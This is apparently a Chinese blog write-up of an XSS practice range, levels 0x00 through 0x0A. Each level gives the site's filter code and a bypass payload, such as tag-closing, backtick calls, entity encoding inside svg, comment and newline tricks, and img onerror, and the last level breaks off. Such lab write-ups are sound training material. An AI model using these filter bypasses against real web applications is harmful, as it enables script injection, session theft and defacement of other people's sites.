【XSS-Demo】

靶场地址

http://xss1.njhack.xyz/#/

0x00

基础,没有过滤,直接弹窗

<script>alert(1)</script>

0x01

所有文字当作文本,构造闭合绕过

</textarea><script>alert(1)</script><textarea>

0x02

输入的 值在value中输入,构造闭合

"><script>alert(1)</script>

0x03

过滤代码

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

正则表达式对小括号过滤,反引号绕过

<script>alert`1`</script>

0x04

过滤代码

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

对小括号和反引号进行过滤,通过svg对替换内容进行Unicode编码

<svg><script>alert&#40;1&#41;</script>

0x05

过滤代码

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

将输入都用注释符包起来,也不能用/和-->,通过构造注释符绕过

--!><script>alert(1)</script><!--

0x06

过滤代码

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

对=和>替换,通过换行绕过

onmouseover
='alert(1)'

0x07

过滤代码

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

输入都在article,且右标签出现会过滤全部内容,通过单标签绕过

<img src=x onerror="alert(1)"

0x08

过滤代码

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

换行绕过

</style
><script>alert(1)</script><style>

0x09

过滤代码

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

要求必须带着指定网址:https://www.segmentfault.com,所以添加后构造闭合

https://www.segmentfault.com" onerror="alert(1)

0x0A

过滤代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

只允许带着合法网址https://www.segmentfault.com,过滤”等字符,先在自己服务器上生成一个js结尾的文件,叫abc.js

alert(1);   //记得加分号

这里是js代码,不用通过

posted @ 2022-03-20 11:37  icui4cu  阅读(113)  评论(0编辑  收藏  举报